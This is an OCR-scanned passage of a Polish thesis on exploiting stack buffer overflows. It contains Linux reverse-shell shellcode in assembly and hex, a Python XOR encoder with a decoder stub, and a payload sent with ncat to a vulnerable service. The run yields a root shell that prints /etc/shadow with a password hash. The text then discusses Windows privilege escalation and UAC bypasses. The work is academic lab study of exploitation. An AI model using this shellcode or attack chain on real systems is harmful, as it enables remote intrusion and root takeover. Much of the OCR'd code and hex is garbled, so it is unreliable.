ecx, [ebx+8]
edx, [ebx+12]
al, 0xOb
0x80

Wywolanie powloki w lokalnym systemie,
ze zduplikowanymi

wyjscia i1 bledu.

; dup2 ()

wraz
strumieniami

sciezka do programu
tablica parametrow
tablica srodowiskowa
execve ()

; (null)

’

Listing 3.15. Reimplementacja kodu powloki, tym razem w kodzie assemblerowym. Zrédlo: opracowanie

wlasne.

Program z listingu 3.15. poddawany jest kompilacji, sprawdzeniu rozmiaru i zrzuceniu jego
zawarto$ci w formie szesnastkowe;j:

attacker@nebula:/home/at
attacker@nebula:/home/at
Size: 104

tacker$ nasm -f bin -o rev.bin rev.asm
tacker$ stat rev.bin | grep -i size

Blocks: 1 IO Block: 65536 regular file
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attacker@nebula:/home/attacker$ xxd rev.bin
0000000: 31c0O0 31db 31c9 31d2 b066 b301 516a 066a 1.1.1.1..f..03.7

0000010: 0Ol6a 0289 elcd 8089 c6b0 6631 dbb3 0268 s [P fl...h

0000020: c0a8 000e 6668 15b3 6653 fec3 89el 6al0 ....fh..fS....7J.

0000030: 5156 89el cdB80 89f3 31c9 bl03 fec9 bO3f OQV...... I.o..... ?

0000040: cd80 0f85 f4ff ffff e810 0000 002f 6269 ............. /bi

0000050: 6e2f 7368 0000 0000 0000 0000 005b 8d4b n/sh......... [.K

0000060: 088d 530c b00b cd80 LS.
attacker@nebula:/home/attackerS echo —n " unsigned char shellcode[] = \"" ; for i in
‘objdump -D -b binary -mi386 rev.bin2 | tr '\t' ' ' | tr ' ' '\n' | grep -E '*~[0-9a-

f]{2}$' ° ; do echo -n "\x$i" ; done; echo -e "\";"

unsigned char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe
1\xcd\x80\x89\xc6\xb0\x66\%x31\xdb\xb3\x02\x68\xc0\xa8\x00\x0e\x66\x68\x15\xb3\x66\x5
3\xfe\xc3\x89\xel\x6a\x10\x51\x56\x89\xel\xcd\x80\x89\xf3\x31\xc9\xbl\x03\xfe\xcI\xb
0\x3f\xcd\x80\x0f\x85\xfA\xfF\xff\xff\xe8\x10\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x6
8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5b\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80";

Listing 3.16. Kompilacja i prezentacja uzyskanego kodu powloki. Zrédto: opracowanie wlasne.

Na podstawie listingu 3.16. zauwazy¢ mozna, ze uzyskany kod powloki zajmuje jedynie 104
bajty. To bardzo dobra wiadomo$¢, gdyz nim mniej bajtow bedzie zajmowat kod powtoki, tym do
naduzycia mniejszej pojemnosci bufora bedzie mozna p6zniej tego kodu ponownie wykorzystac.
Jednakze z listingu 3.16. wynika powazniejsza obserwacja. W zrzucie szesnastkowym uzyskanego
pliku binarnego, pogrubione zostaly bajty zerowe. Jak wspomniano wczes$niej, funkcja strcpy
kopiuje bajty z bufora zrodlowego do docelowego tak dtugo, dopoki napotkany bajt nie bedzie
bajtem zerowym, co by mialo oznacza¢ efektywny koniec stringu. Szczegolnie dobrze to wida¢ w
ostatnim poleceniu ukazanym na listingu 3.16., ktore na wyjsciu wygenerowato przyktadows tablice
bajtow, dla jezyka C. Taka tablica bedzie przekopiowana jedynie do pierwszego wystapienia bajtu
zerowego. W zwiazku z tym, nalezy teraz tak przetworzy¢ uzyskany kod maszynowy, aby catkowicie
pozbyc¢ si¢ bajtow zerowych. W tym celu uzyje tak zwanego fi1tra. Filtr b¢dzie miat za zadanie tak
przetworzy¢ wejsciowy strumien bajtow, by kazdy bajt poddac prostej transformacji arytmetyczno-
logicznej, (ktora jednoczes$nie bedzie odwracalna) w celu pozbycia si¢ bajtow o danej wartosci.
Korzystajac np. z operacji xor, (ktora jest przyktadem funkcji odwracalnej) mozna zbudowac
program dokonujacy transformacji wszystkich bajtow binarnego kodu powloki, a nastepnie
poprzedzajacego te bajty ciggiem instrukcji, ktére by w petli odwracaty kazdy bajt do momentu
napotkania specjalnego markera stopu (petla transformacji odwrotnej wykonywana bytaby juz
podczas faktycznego ataku, po udanym trafieniu do shellcode’u).

A®B=C C®B=A
Rysunek 3.11. Odwracalno$é¢ funkcji XOR. Zrédlo: opracowanie wlasne.

Podczas budowy programu, ktory zakoduje w odpowiedni sposob nasz binarny cigg kodu
powloki, nalezy ustali¢ jakie rozkazy opisywac beda petle rozkodowujacg. Przyktadowy algorytm
zaproponowano ponizej:

Pobierz adres poczatku strumienia bajtow do zdekodowania

Dekoduj kolejny bajt spod adresu

Inkrementuj wskaznik kolejnego bajtu.

Sprawdz czy ostatnio zdekodowane cztery bajty rowne sa markerowi stopu.

Jesli sa, przerwij dekodowanie i rozpocznij wykonanie od poczatku strumienia. Jesli nie
sa, przejdz do kroku 2.

agrwbdE
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Podczas poczatkowego kodowania wejsciowego strumienia bajtow, program kodujacy bedzie
musiatl si¢ upewnié, zeby umieéci¢ na koncu tego strumienia odpowiedni marker stopu. Takim
markerem moga by¢ dla przyktadu cztery bajty, ktore gdy napotkane — przerwa petle dekodowania i
rozpoczng wykonywanie si¢ kodu powloki. Jako parametr funkcji dekodujacej, przyktadowo XOR
mozna wybra¢ dowolny bajt, ktory nie wystepuje w zrzucie szesnastkowym obecnej formy
wejsciowego strumienia bajtow. Powod takiego wyboru parametru funkcji XOR opiera si¢ na
wlasciwosci tejze operacji logicznej, powodujacej ze xorowanie wartosci przez ta samg wartos¢
zwréci w wyniku zero. W takim przypadku powrdcitbym do punktu wyjscia, majac zerowe bajty w
strumieniu poddanemu filtracji.

W celu uporania si¢ z problemem filtracji, przygotowatem nastgpujacy program napisany w
jezyku Python:

#!/usr/bin/python

This script reads binary file specified in first

parameter and then encodes every byte by simply

XORing it with custom value (specified in second param)

then it writes output to another file.

If second parameter wasn't specified (i.e XOR argument)

the 0xAA is taken by default. In addition, it prepends a shellcode

with simple decoding stub, then appends decoding-end marker when needed.

HH= H FH o H I H

import sys, struct
from random import randint

XOR = OxAA

if len(sys.argv) < 2:
print "Usage: encshell.py <shellcode> <XOR> [-s] [-f]"
print "\t-s - prevents appending/prepending shellcode with anything"
print "\t-f - force using selected key"
exit (1)

prev = 0
force = 0

if len(sys.argv) > 2:
XOR = int(sys.argv[2],16)

if len(sys.argv) == 4:
if sys.argv[3] == '-s':
prev = 1
elif sys.argv[3] == '-f':
force =1
if len(sys.argv) == 5:
if sys.argv[4] == '-s':
prev =1
elif sys.argv([4] == '-f'
force = 1
f = open(sys.argv[l], 'rb')
bin = f.read()
print "[+] Input read: %d bytes." % len(bin)
f.close()

# Checking if this XOR value can be used

fa = False
while True:
f = False

for a in bin:
byte = struct.unpack("B", a)[0]
if byte == XOR and force ==
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if fa == False:
print "[!] Value 0x%02X cannot be used as a"\
"XOR value\n\tbecause it occures in input "\
"file (xor will result with 00)" % XOR
fa = True

if len(sys.argv) ==

exit (1)
else:
XOR = randint( 1, 255)
print "\t- trying with 0x%02X..." % XOR
f = True
break
if f: continue
else: break
bAppendMarker = False
if bin[-4:] != "\xDE\xCO\xDE\xAB":
bAppendMarker = True
file = sys.argv([1l][:-4]+" enc"+sys.argv[1l] [-4:]

g = open(file, 'wb')
print "[+] XORing each byte by 0x%02X" % XOR

decode = "\xEB\x12\x5B\x89\xDA\x80\x33"

decode += struct.pack("B", XOR)

decode += "\x43\x81\x7B\xFC\xDE\xCO\xDE\xAB" \
"\x75\xF3\xFF\xE2\xE8\xE9\xFF\xFF\xFF"

if prev ==
print "[+] Shellcode is being prepended with %d bytes "\

"of decode routine" % len (decode)
g.write (decode)

for a in bin:
# XORing
b = struct.unpack("B", a) [0]
byte = b ~ XOR
g.write(struct.pack("B", int (byte)))

if bAppendMarker == True and prev ==

bl = 0xAB ~ XOR

b2 = 0xDE ~ XOR

b3 = 0xCO ~ XOR

b4 = 0xDE ~ XOR

g.write(struct.pack ("BBBB", b4, b3, b2, bl ))

print "[+] Appending 0x%02X%02X%02X%02X (0xABDECODE) " \

"end-of-decoding marker" % (bl,b2,b3,b4d)

g.close ()

print "[+] %s generated." % file
Listing 3.17. Program encshell.py realizujgcy zadanie filtracji kodu powloki. Zrédlo: opracowanie wlasne.

Program ten przyjmuje Sciezke do binarnego pliku kodu powtoki, nastepnie do wczytanego
strumienia bajtéw dokleja marker stopu, tutaj bedacy wartosciag 0xABDECODE. Nastepnie poddaje
kazdy bajt z tego pliku transformacji za pomoca funkcji XOR o podanym na wejsciu kluczu, lub
korzystajac z domyslnego klucza 0xAA. Pdzniej do pliku wyjsciowego zapisywany jest kod bedacy
petla dekodujaca i tuz po nim zapisywany jest uzyskany zakodowany strumien bajtow.

Przyktad wykorzystania tego programu przedstawiono na listingu 3.18:

attacker@nebula:/home/attacker$ xxd rev.bin
0000000: 31cO 31db 31c9 31d2 b066 b301 516a 066a 1.1.1.1..f..Qj.7
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0000010: Ol6a 0289 elcd 8089 cbb0 6631 dbb3 0268 .j........ fl...h

0000020: c0a8 000e 6668 15b3 6653 fec3 89l 6al0 ....fh..fS....j.
0000030: 5156 89el cd80 89f3 31c9 bl03 fecY9 b03f QV...... I.o..... ?
0000040: cd80 0f85 f4ff ffff e810 0000 002f 6269 ............. /bi
0000050: 6e2f 7368 0000 0000 0000 0000 005b 8d4b n/sh......... [.K
0000060: 088d 530c b00b cd80 .S

attacker@nebula:/home/attacker$ objdump -D -b binary -mi386 rev.bin

00000000 <.data>:

0: 31 cO0 XOor $eax, seax

2 31 db XOor $ebx, $ebx

4: 31 c9 XOor $ecx, $ecx

6: 31 d2 XOor $edx, sedx

8: b0 66 mov $0x66,%al

a: b3 01 mov $0x1,%bl

c: 51 push %ecx

d: 6a 06 push S0x6

f: 6a 01 push $0x1
11: 6a 02 push $0x2
5c: 00 5b 8d add $bl,-0x73 (%ebx)
5f: 4b dec %ebx

60: 08 8d 53 0Oc b0 0b or scl, Oxbb00c53 (%ebp)
66: cd 80 int 50x80

attacker@nebula:/home/attacker$ python encshell.py

Usage: encshell.py <shellcode> <XOR> [-s] [-f]
-s - prevents appending/prepending shellcode with anything
-f - force using selected key

attacker@nebula:/home/attacker$ python encshell.py rev.bin 0x66
[+] Input read: 104 bytes.
[!] Value 0x66 cannot be used as a XOR value

because it occures in input file (xor will result with 00)

attacker@nebula:/home/attacker$ python encshell.py rev.bin

] Input read: 104 bytes.

XORing each byte by O0xAA

Shellcode is being prepended with 25 bytes of decode routine
Appending 0x01746A74 (0xABDECODE) end-of-decoding marker

[+
[+
[+
[+
[+] rev_enc.bin generated.

1
]
]
1

attacker@nebula:/home/attacker$ xxd rev_enc.bin

0000000: ebl2 5b89 da80 33aa 4381 7bfc decO deab ..[...3.C.{.....
0000010: 75f3 ffe2 e8e9 ffff ff9b 6alb 719 63% u......... j.qg.c.
0000020: 78la ccl9 abfb cOac clOab c0a8 234b 672a X........... #Kg*
0000030: 236c lacc 9b71 19a8 c26a 02aa adcc c2bf #1l...g...J......
0000040: 19cc £954 6923 4bc0 bafb fc23 4b67 2a23 ...Ti#K....#Kg*#

0000050: 599b 631b a954 63la 9567 2aa5 2f5e 5555 Y.c..Tc..g*./"UU
0000060: 5542 baaa aaaa 85c8 c3c4 85d9 c2aa aaaa UB..............
0000070: aaaa aaaa aaaa fl127 ela2 27f9 a6la al67 ....... L.l .g
0000080: 2a74 6a74 01 *tit.

attacker@nebula:/home/attacker$ objdump -D -b binary -mi386 rev_enc.bin

00000000 <.data>:

0: eb 12 jmp 0x14

2: 5b pop %ebx

3: 89 da mov %$ebx, $edx

5: 80 33 aa xorb $0xaa, (%ebx)
8: 43 inc %ebx

9 8l 7b fc de c0 de ab cmpl $0xabdecOde, -0x4 (%ebx)
10: 75 £3 jne 0x5
12: ff e2 jmp *$edx
14: e8 e9 ff ff ff call 0x2
19: 9b fwait
la: 6a 9b push SOxffff££f9b
lc: 71 9b jno Oxffffffb9

le: 63 9 78 la cc 19 arpl $bx,0x19ccla78 (%ebx)



24 ab stos $eax, ses: (%edi)
25: fb sti
26: cO0 ac c0 ab c0 a8 23 shrb $0x4b, 0x23a8clab (%eax, $eax, 8)

attacker@nebula:/home/attacker$ stat rev.bin | grep —-i size

Size: 104 Blocks: 1 IO Block: 65536 regular file
attacker@nebula:/home/attacker$ stat rev_enc.bin | grep -i size
Size: 133 Blocks: 1 IO Block: 65536 regular file

Rysunek 3.18. Listing przedstawiajqcy skompilowang posta¢ kodu powloki, wykorzystanie programu
encshell.py i ostatecznie uzyskang filtrowang wersje tego kodu. Zrodlo: opracowanie wlasne.

Listing 3.18 przedstawia kilka wykonanych polecen majacych na celu ukazanie binarnej postaci
kodu powtoki przed i po filtracji. Pierwsze polecenie zrzucito bajty w postaci reprezentacji
szesnastkowej. Wida¢ na niej zaré6wno bajty zerowe, jak i o wartosci 0x66, ktorg w nastgpnym
poleceniu bede chcial wykorzystaé jako klucz kodowania. Kolejne polecenie pokazuje skrot
programu deasemblujgcego, a wiec thumaczacego kod maszynowy na czytelny dla czlowieka ciag
instrukcji assemblera. Jak wykazatem, kod ten jest zgodny z pierwotnym programem ukazanym na
listingu 3.15. Nastepnie wykonuje program encshell.py, Korzystajac z klucza 0x66. Niestety, z
uwagi na obecnos$¢ bajtu o takiej wartosci w wejsciowym strumieniu binarnym, program informuje
o niemozliwosci wykorzystania tego konkretnego klucza. Nastepne wywotanie programu korzysta
juz z domyslnego klucza: 0xaA. Po wykonaniu programu filtra, utworzony zostaje plik
rev_enc.bin, ktory zrzucam szesnastkowo. Zauwazy¢ mozna, ze po pierwsze objetos¢ programu
si¢ zwigkszyta (na skutek dodanego kodu dekodujacego, oraz znacznika stopu). Ponadto pozbyto si¢
teraz bajtow zerowych, ktore zastapity bajty 0xaa (na mocy: 0@ A = A ). Ostatnie polecenie
dokonuje deasemblacji uzyskanego zakodowanego tym razem strumienia bajtow. Pierwsze 19
bajtow, wlacznie z instrukcja CALL stanowi petle dekodujaca (fragment pogrubiono). Tuz za
instrukcjg CALL rozpoczyna si¢ strumien danych zakodowanych, stad obecnos¢ tak réznorodnych i
egzotycznych instrukcji procesora tuz koto siebie. Na skutek wykonania skoku bezwarunkowego
(pod of fsetem 0) do instrukcji CALL (of fset 14),anastepnie z tej instrukcji powrdt pod of fset
2 — zostawiany bedzie w sprytny sposob adres pierwszej instrukcji do dekodowania (offset 19)
na stosie, jako iz ta instrukcja bytaby pierwotnie instrukcjg do wykonania po powrocie z funkcji
wywotanej mnemonikiem CALL. Ostatecznie poréwnuje rozmiary kodoéw przed i po kodowaniu.
Roznica wynosi 29 bajtow, a wigc stosunkowo niewiele.

Majac juz przygotowany kod powloki, mozna przystapi¢c do faktycznej proby ataku.
Administrator maszyny, bedacej wlasciwa ofiara, mogt ustawi¢ program bank jako obstugujacy
proby logowania z sieci internetowej, poprzez przekierowanie potaczen przychodzacych
obstugiwanych przez nastuchujacy program NcC do programu bank, tak jak przedstawiono to ponizej:

root@protostar:/home/inz# ./bank ‘nc -1lp 8000°

Nastepnie atakujacy wiedzac, pod ktérym portem dziata atakowana przez niego usluga (tutaj
8000), moze wygenerowaé cigg danych, ktory postuzy do ataku, by nastgpnie przestaé go
komputerowi ofiary. Dalszy scenariusz przedstawia ponizszy rysunek:

attacker@nebula:/home/attacker$ python -c 'import sys; sys.stdout.write ("A" * 44 +
"\x40\xfb\xff\xbf" + "\x90" * 1024 + open(("rev _enc.bin","rb").read())' > out.bin

attacker@nebula:/home/attacker$ xxd out.bin

0000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 40fd ffbf AAAAAAAAAAAAQ...
0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ....vvvueunnennn
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0000420:
0000430:
0000440:
0000450:
0000460:
0000470:
0000480:
0000490:
00004a0:
00004b0:

9090
ebl?2
75£3
781la
236¢c
19cc
599b
aaaa
aaaa
01

9090
5p89
ffe2
ccl9
lacc
£954
631b
85c8
£f127

9090
da80
e8e9
abfb
9p71
6923
a954
c3c4
ela2

9090
33aa
ffff
clac
19a8
4bc0
63la
85d9
27£9

9090
4381
ff9b
cO0ab
c26a
bafb
9567
c2aa
a6bla

9090
Tbfc
6a9b
cla8
02aa
fc23
2adf
aaaa
ale’7

9090
decO
7190
234b
adcc
4b67
5242
aaaa
2a74

attacker@nebula: /home/attacker$ nc —-klvp 5555 &

[1] 8425

[ 3.C.{.....
Uewooeennn j.qg.c
K weeweennnn #Kg*
#1...q9 Jeeennn

Y.c..Tc..g*.RB..

attacker@nebula:/home/attacker$ ncat 192.168.0.19 8000 < out.bin

Ncat: Version 6.47
Ncat: Listening on
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 192.168.0.19.
Ncat: Connection from 192.168.0.19:48364.

id

uid=0 (root)

whoami
root
uname -a

Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux

cat /etc/shadow |
root:$6SGr4WlQHASMIJspYYo.PP7qatHSLriWRTz0BY2IDt .1WQ57dsZHgF3RNGJ22J/4tYFYFEZsBVRMSFQP
a21yGHBDUCN1Akgb4.:16765:0:99999:7:::
| grep addr:

ifconfig

inet addr:192.168.0.19 Bcast:192.168.0.255

inet6 addr: fe80::20c:29ff:fea2:b7ff/64 Scope:Link

( http://nmap.org/ncat )
:::5555

gid=0 (root)

groups=0 (root)

grep root

inet addr:127.0.0.1

inet6 addr:

Mask:255.0.0.0
::1/128 Scope:Host

Mask:255.255.255.0

Listing 3.19. Sesja ataku na zdalng maszyne. Wykorzystanie shellcode 'u. Zrédto: opracowanie wiasne.

Listing 3.19 przedstawia kompletng sesj¢ ataku na maszyne zdalng. Najpierw przygotowywany
jest cigg danych wykorzystanych do ataku na aplikacje¢, nastepnie ustawiany jest serwer nastuchujacy
polaczen przychodzacych od przejetej maszyny. W kolejnym poleceniu atakujacy wysyla szkodliwe

dane do maszyny zdalnej, bedacej celem ataku, na port ustugi 8000. W efekcie nawigzywane zostaje
polaczenie zwrotne z maszyng atakujacego, czego efektem jest mozliwo$¢ przesytania polecen
poprzez socket otworzony w NetCat’ cie. Natychmiastowo uzyskuje dostep do uzytkownika root
z uwagi na fakt, ze to root utworzyt program bank na komputerze, oraz uruchomit go. W takim
przypadku program root dziata w tokenie praw uzytkownika root, oraz po wykonaniu ataku udato
si¢ wlamac¢ do systemu poprzez blad naruszenia pamiegci stosu w aplikacji, czym tez naduzyto
obecnie stosowanego tokenu administratora. Wizualnie sesje ataku przedstawia ponizszy rysunek:
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El cmd - ncat 8P 192.168.0.19 - PuTTY

cmd | B 22> emd | ¥ <3 emd - ncat -kl

Rysunek 3.12. Zdjecie przedstawiajgce terminal atakujgcego (po lewej) oraz maszyne ofiary (po prawej).
Zrodto: opracowanie wlasne.

W ramach podsumowania tego podrozdziatu, nalezy raz jeszcze zwréci¢ uwage, ze wykorzystany
kod powtoki operowat na przerwaniu int 0x80, ktore udostepnia jadro systemu linux. Dzigki niemu
tak tatwo mozna odwota¢ si¢ do zewnetrznych procedur systemowych i zaimplementowaé zwrotne
polaczenie do maszyny atakujgcego. Na skutek bledu wykorzystania pamigci stosu, atakujacy
moglby poda¢ dowolny cigg danych atakujgcych. Czasami w celu zakonczenia ataku w sposob
niezauwazalny, trzeba bedzie dostosowaé tadunek atakujacy tak, aby nie spowodowaé crashu
programu, co jednocze$nie spowodowatoby rzuceniem wyjatku i zabiciem go przez system
operacyjny. Taka sytuacja okreslana jest mianem Denial of Service (odmowg ustugi, atak Dos). Z
punktu widzenia atakujgcego jest ona wysoce niepozadana, gdyz ten chce przeja¢ kontrole nad
maszyng, a nie uSmierca¢ jedyny dostep do tej maszyny jaki moze uzyskaé. Warto jeszcze raz
zaznaczy¢, ze wykorzystany typ kodu powtoki, jakim jest tzw. Reverse Shell, pozwolit na mozliwe
obejscie filtracji na zaporze ogniowej, przez ktora moégt przechodzié ruch przychodzacy do maszyny
ofiary. Poniewaz to jednak maszyna ofiary nawigzata z nami potaczenie, totez ruch ten nie wzbudzit
alarméw, gdyz pochodzit z zaufanej strony perymetru sieci. Ten typ shellcode’ éw jest najczescie]
stosowanym podczas atakOw na oprogramowanie, z uwagi na swoja elastyczno$¢ i stabilnos¢ w
obchodzeniu mechanizméw obronnych infrastruktur sieciowych.
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3.4. Atakowanie systemu Windows XP — bledy off-by-one oraz Integer Overflow

W tym podrozdziale skoncentruje¢ si¢ na wykorzystaniu podatno$ci naruszenia stosu w programie,
dziatajacym pod systemem operacyjnym Microsoft Windows XP Service Pack 1 x86. Jest to co
prawda stary juz system operacyjny, slynacy z bardzo wielu problemdéw bezpieczenstwa, ale to
wlasnie czyni go idealnym do prezentacji omawianych w tej pracy koncepcji. Rdznica migdzy
atakowaniem systemow linuksowych oraz windowsowych sprowadza si¢ tak naprawde do ksztaltu
kodu powtoki. W systemie Linux, jak i jemu podobnych — BSD, Unix, Solaris — czyli dziatajacym w
oparciu o jadro *niksowe, byly do dyspozycji specjalne przerwanie systemowe int 0x80, ktore
umozliwiato wywotlanie blisko trzystu funkcji systemowych, nie mowiac juz o ich podfunkcjach (jak
to miato miejsce w przypadku wywotania socketcall). W systemie Windows jednakze, nie ma
takiego mechanizmu pozwalajacego na proste wywotanie przerwania. Wickszo$¢ przerwan w
systemie tym uchodzi za niedozwolone i w efekcie program, prébujacy takowe wywotac, najczesdciej
jest przerywany na skutek wystgpienia wyjatku Privileged Instruction. Wykonywanie przerwan,
dostep do portow (mnemoniki in 0raz out), oraz inne tego typu instrukcje mozliwe sa do
wykonywania jedynie z poziomu ring 0, w ktérym operuje jadro systemu Windows. Z uwagi na
powyzsze ograniczenia, proces budowy kodu powtoki jest mocno utrudniony, ale wcigz mozliwy. W
tym podrozdziale przedstawi¢ jak wygladaja przyktadowe kody powloki w systemie Windows,
opisze rowniez przyktadowy kod napisany na potrzeby tej pracy, a nastepnie przedstawi¢ sposob
ataku aplikacji dziatajgcej pod kontrolg omawianego systemu.

Zanim jednak przejde do opisu kodow powloki, nalezy poruszy¢ temat blednie zaprojektowanej
polityki bezpieczenstwa przyjetej na dobre do linii produkcyjnej systemoéw szyldu Microsoft
Windows, ktora w przeszto$ci wielokrotnie byta kompromitowana. Systemy uniksowe, a wiec
wywodzace si¢ z nich Macintosh/Mac OS X, Linux, BSD, AIX, Unix, Solaris, HP-UX, itd.,
korzystajac ze wspolnej architektury jadra systemu operacyjnego, podzielaja koncepcje prostej
polityki bezpieczenstwa opartej o separacje przywilejow uzytkownikoéw. W systemach tych
wystepuje wyrozniony administrator zwany uzytkownikiem root, oraz zbior innych uzytkownikow
o stosunkowo nizszych prawach. Popularnie przyjetym konceptem jest wykonywanie mozliwie jak
najmniejszej ilosci programoéw dziatajacych z tokenem bezpieczenstwa uzytkownika lub grupy root.
Dzigki temu np. proces generujacy interfejs graficzny — Xorg, a takze wszelakie demony ustugowe,
tzw. launchery uruchamiajace inne aplikacje (jak np. podsystem GNOME czy KDE) — dziataja
najczesciej z przywilejami specjalnie stworzonych, wlasnych uzytkownikow i grup. Przyktadami
takich uzytkownikow sa pozycje przedstawione na listingu 3.20. Wida¢ tam uzytkownikoéw
przeznaczonych dla demonéw ustugowych dziatajacych w systemie, uzytkownika dla przer6znych
gier, dla klienta pocztowego, klienta newsow, klienta serwera www, ustugi IRC, alternatywnego
klienta pocztowego exim, ustugi SSH, FTP itd.

root, daemon, bin, sys, sync, games, man, lp, mail, news, uucp, Proxy,
www-data, backup, list, irc, gnats, nobody, libuuid, Debian-exim, statd,
sshd, protostar, user, ftp

Listing 3.20. Przyktadowa lista uzytkownikéw systemu Linux. Zrédlo: opracowanie wlasne.

W efekcie, w sytuacji przetamania bezpieczenstwa np. programu $wiadczacego ustuge odbierania
poczty (Ex1M), lub serwera http tj. nginx CZy apache?2, atakujacy znajdzie si¢ w systemie i bedzie
miat do niego dostep jedynie na prawach uzytkownika danej ustugi. Przy dobrze skonfigurowanym
systemie, uzytkownik ten bedzie miat bardzo waskie pole do popisu i uniemozliwi np. atakujgcemu
instalacje oprogramowania, uruchomienie wirusalrootkita, tudziez odczytanie wrazliwych
konfiguracji czy danych. Daleko idgca koncepcja przestrzegania uzytkownikow przed korzystaniem
z praw administracyjnych, minimalizowania interakcji i czasu spedzanego w linii polecen dostepne;j
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uzytkownikowi root, wyksztatcita duza swiadomo$¢ bezpieczenstwa i zrozumienie jego koncepcji.
W efekcie uzytkownicy systemoéw nixowych z regulty sa bardziej $wiadomymi obywatelami
cyberprzestrzeni i lepiej potrafig korzysta¢ z jej dobr, jak i omijaé jej zagrozen.

Systemy Windows z kolei, od poczatku swojego istnienia prezentuja inne podejscie do koncepcji
uzytkownikow i separacji przywilejow. Poczatki tego systemu przyzwyczaity jego uzytkownikow i
administratorow do korzystania z kont dziatajacych na prawach Administratora systemu, przez co
narazaty uzytkownikdéw na niebezpieczenstwo. Nawet w wyniku ewolucji technologii i stopniowej
poprawy ogolnego bezpieczenstwa tych systemow, nadal pokutowac bedzie podejscie, w ktoérym juz
pierwszy uzytkownik komputera dziatajacego pod kontrolg systemu operacyjnego Windows — bedzie
uzytkownikiem z prawami administracyjnymi. Klienci tych systemow nie wyobrazaja sobie
korzystania z nich bez mozliwos$ci podejmowana najprostszych operacji, jak cho¢by instalowania
oprogramowania, badz uruchomienia niektorych programéw na skutek ich niemoznosci w uzyskaniu
dostepu do strzezonych regionow systemu (jak np. rejestru systemowego). W efekcie, daleko idace
przyzwyczajenie zwolnito z obowigzku bycia swiadomym uzytkownikiem, dzigki czemu znaczaco
utatwito wszelkie ataki na systemy operacyjne Windows oraz oprogramowanie na nich dziatajace.
Uzytkownik uruchamiajgc przegladarke, przekazuje jej token bezpieczenstwa administratora.
Przegladarka za§ w pewnym momencie uruchomi wtyczke obstugujaca np. pliki animacji
Flashowych — SWF, gdyz uzytkownik np. bedzie chciat obejrze¢ film w internecie, lub zagraé¢ w gre.
W konsekwencji, odpowiednio zainfekowana strona internetowa (ktorych w obecnych czasach jest
bardzo wiele), po udanym ataku przegladarki lub wtyczki (np. za posrednictwem omawianego w
pierwszym rozdziale exploit kita), od razu za darmo zyskuje token bezpieczenstwa administratora.
To za$ sprawia, ze dany exploit nie musi juz probowac podnosi¢ przywilejow uzyskanego tokenu,
wykona¢ tzw. impersonifikacji (Token Impersonate), gdyz juz na wstepie dostaje bardzo luzng liste
restrykcji (DACL, Discretionary Access Control List). Oczywiscie jeszcze wyzsze przywileje, w
postaci tokenu uzytkownika systemu: NT AUTHORITY\SYSTEM beda oferowaty mu znacznie dalej
idace przywileje — jak np. instalowanie sterownikow czy modyfikowanie pamigci procesOw
systemowych, jednakze ich uzyskanie to juz tylko formalno$¢ (np. metoda naduzywania potokow
systemowych'?, tzw. Named Pipe Impersonation through Process Injection - metoda
zaimplementowana w ramach pakietu Metasploit, komponentu Meterpreter, funkcji getsystem).

Whnioskiem ptynacym z tych rozwazan jest, ze domys$lna polityka bezpieczenstwa systemu
operacyjnego Windows jest jednoczesnie jego najwigkszq wadg. Firma Microsoft boryka si¢ z tym
problemem od wielu lat, gdyz w obecnych czasach niemozliwym juz bedzie proste zniechecenie
uzytkownikow do zaprzestania logowania si¢ na uzytkownika o prawach administracyjnych. To ma
bardzo duze powigzanie z faktem, ze znaczna cze¢$¢ API systemowego jest zalezna od tych praw
dostepu. Przez to, odebranie praw uzytkownikowi jednocze$nie uszkodzi dziatanie znacznej czgsci
oprogramowania napisanego pod platform¢ Windows. Wobec bezsilnosci, firma ta wypuszcza coraz
to nowsze koncepcje mechanizméw bezpieczenstwa jak np. mechanizmy Superuser, User Account
Control, Restricted Token, Integrity Levels, UIPI / User Interface Privilege Isolation, Token
Impersonation, AppLocker [25]. Wszystkie te mechanizmy sa wyjatkami wyjatkow, obej$ciami
problemoéw, probami latania luk bezpieczenstwa. Niestety, wiekszo$¢ z nich okazuje si¢ by¢
totalnymi porazkami, jak np. technologia User Account Control, dumnie reklamowana przez firme
Microsoft. Technologia ta od wersji systemu w ktorej si¢ pojawita — MS Vista, po obecne wersje
systemu (Windows 10, x64) jest caty czas obchodzona, naduzywana i kompromitowana. Specjalisci
pracujacy bezpieczenstwem systemu Windows znaja juz co najmniej Kilkanascie metod
naduzywania tego mechanizmu (metoda wstrzykiwania do zaufanego procesu, naduzywania
Manifestu, metoda wusa / Windows Update patching, naduzycie interfejsu TFileOperations
metodg Leo Davidsona®®, itd.). Tak samo z resztg byto z historig zabezpieczen przygotowywanych

12 http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
13 http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
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na naduzycia blgdow pamigci — wszak historia mechanizmu paX, ProPolice, grsecurity,
Microsoft EMET - jest rownie bogata w ogloszenia nowych technik i pdzniejsze publikacje o
sposobach ich naduzy¢.

Wracajac jednak do problemow z bezpieczenstwem systemow Windows — do$¢ by powiedzie¢,
ze jest to obecnie jeden z najcze$ciej atakowanych i najlepiej zbadanych pod katem bezpieczenstwa
systemow operacyjnych, mimo iz nie udostepniane jest zrodto tego systemu (jak ma to w przypadku
open source’owych projektow tj. GNU/Linux). Badacze bezpieczenstwa swoja wiedzg i odkrycia
opieraja najczesciej na inzynierii odwrotnej (ang. Reverse Engineering) binarek systemowych.

W celu ukazania sposobu naduzywania bledéw pamigci pod tym systemem, postuzg si¢
przyktadem programu przetwarzajacego pliki wejsciowe. Programy tego typu, jak wszelakie
aplikacje multimedialne — odtwarzajace, konwertujace, tworzace multimedia - sg szczegdlnie
narazone na przerozne btedy logiczne oraz bledy zarzadzania pamigcig, z uwagi na swdj poziom
